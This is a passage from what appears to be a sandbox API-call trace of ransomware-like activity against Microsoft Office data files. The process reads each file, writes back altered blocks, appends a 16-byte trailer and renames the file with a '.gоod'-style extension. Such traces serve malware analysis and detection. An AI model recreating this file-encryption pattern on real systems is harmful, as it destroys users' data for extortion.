[0176.567] ReadFile (in: hFile=0x808, lpBuffer=0x358f240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x358f240*, lpNumberOfBytesRead=0x1fcee2d8*=0x17c, lpOverlapped=0x0) returned 1 [0177.086] CloseHandle (hObject=0x808) returned 1 [0177.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0177.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.087] GetFileType (hFile=0x808) returned 0x1 [0177.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.087] GetFileType (hFile=0x808) returned 0x1 [0177.087] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x117c [0177.087] WriteFile (in: hFile=0x808, lpBuffer=0x3566bc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3566bc8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0177.087] CloseHandle (hObject=0x808) returned 1 [0177.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0177.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.088] GetFileType (hFile=0x808) returned 0x1 [0177.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.088] GetFileType (hFile=0x808) returned 0x1 [0177.088] ReadFile (in: hFile=0x808, lpBuffer=0x3568eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3568eb0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0177.248] CloseHandle (hObject=0x808) returned 1 [0177.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0177.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.248] GetFileType (hFile=0x808) returned 0x1 [0177.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.248] GetFileType (hFile=0x808) returned 0x1 [0177.248] WriteFile (in: hFile=0x808, lpBuffer=0x33e5dd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33e5dd0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0177.248] CloseHandle (hObject=0x808) returned 1 [0177.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4a [0177.249] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4f [0177.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0177.249] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65dcd525, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x118c)) returned 1 [0177.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0177.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.gоod")) returned 1 [0177.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0177.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0177.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3406db0 | out: lpFileInformation=0x3406db0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1851f)) returned 1 [0177.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0177.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0177.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.251] GetFileType (hFile=0x808) returned 0x1 [0177.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.251] GetFileType (hFile=0x808) returned 0x1 [0177.251] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0177.251] ReadFile (in: hFile=0x808, lpBuffer=0x3407298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3407298*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0177.253] CloseHandle (hObject=0x808) returned 1 [0177.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0177.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.253] GetFileType (hFile=0x808) returned 0x1 [0177.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.253] GetFileType (hFile=0x808) returned 0x1 [0177.253] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1851f [0177.253] WriteFile (in: hFile=0x808, lpBuffer=0x3409110*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3409110*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0177.254] CloseHandle (hObject=0x808) returned 1 [0177.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0177.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0177.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0177.256] GetFileType (hFile=0x808) returned 0x1 [0177.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0177.256] GetFileType (hFile=0x808) returned 0x1 [0177.256] ReadFile (in: hFile=0x808, lpBuffer=0x340b468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x340b468*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0179.099] CloseHandle (hObject=0x808) returned 1 [0179.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0179.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.099] GetFileType (hFile=0x808) returned 0x1 [0179.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.099] GetFileType (hFile=0x808) returned 0x1 [0179.099] WriteFile (in: hFile=0x808, lpBuffer=0x33efb68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33efb68*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0179.100] CloseHandle (hObject=0x808) returned 1 [0179.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x58 [0179.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5d [0179.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0179.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66f7d5fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1852f)) returned 1 [0179.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0179.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0179.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0179.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x369f598 | out: lpFileInformation=0x369f598*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd05e48fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x236f9)) returned 1 [0179.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0179.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.102] GetFileType (hFile=0x808) returned 0x1 [0179.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.102] GetFileType (hFile=0x808) returned 0x1 [0179.102] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0179.102] ReadFile (in: hFile=0x808, lpBuffer=0x369fa40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x369fa40*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0179.104] CloseHandle (hObject=0x808) returned 1 [0179.104] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.105] GetFileType (hFile=0x808) returned 0x1 [0179.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.105] GetFileType (hFile=0x808) returned 0x1 [0179.105] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x236f9 [0179.105] WriteFile (in: hFile=0x808, lpBuffer=0x36a0d20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36a0d20*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0179.106] CloseHandle (hObject=0x808) returned 1 [0179.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.106] GetFileType (hFile=0x808) returned 0x1 [0179.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.106] GetFileType (hFile=0x808) returned 0x1 [0179.106] ReadFile (in: hFile=0x808, lpBuffer=0x36a3028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36a3028*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0179.239] CloseHandle (hObject=0x808) returned 1 [0179.239] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.239] GetFileType (hFile=0x808) returned 0x1 [0179.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.239] GetFileType (hFile=0x808) returned 0x1 [0179.239] WriteFile (in: hFile=0x808, lpBuffer=0x34c34c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34c34c8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0179.240] CloseHandle (hObject=0x808) returned 1 [0179.240] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x53 [0179.240] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0179.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0179.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670d4c55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23709)) returned 1 [0179.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0179.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0179.241] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0179.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0179.241] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x34cce28 | out: lpFileInformation=0x34cce28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x294b)) returned 1 [0179.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0179.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0179.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0179.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0179.242] GetFileType (hFile=0x808) returned 0x1 [0179.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0179.242] GetFileType (hFile=0x808) returned 0x1 [0179.242] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0179.242] ReadFile (in: hFile=0x808, lpBuffer=0x34cd2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34cd2d0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, 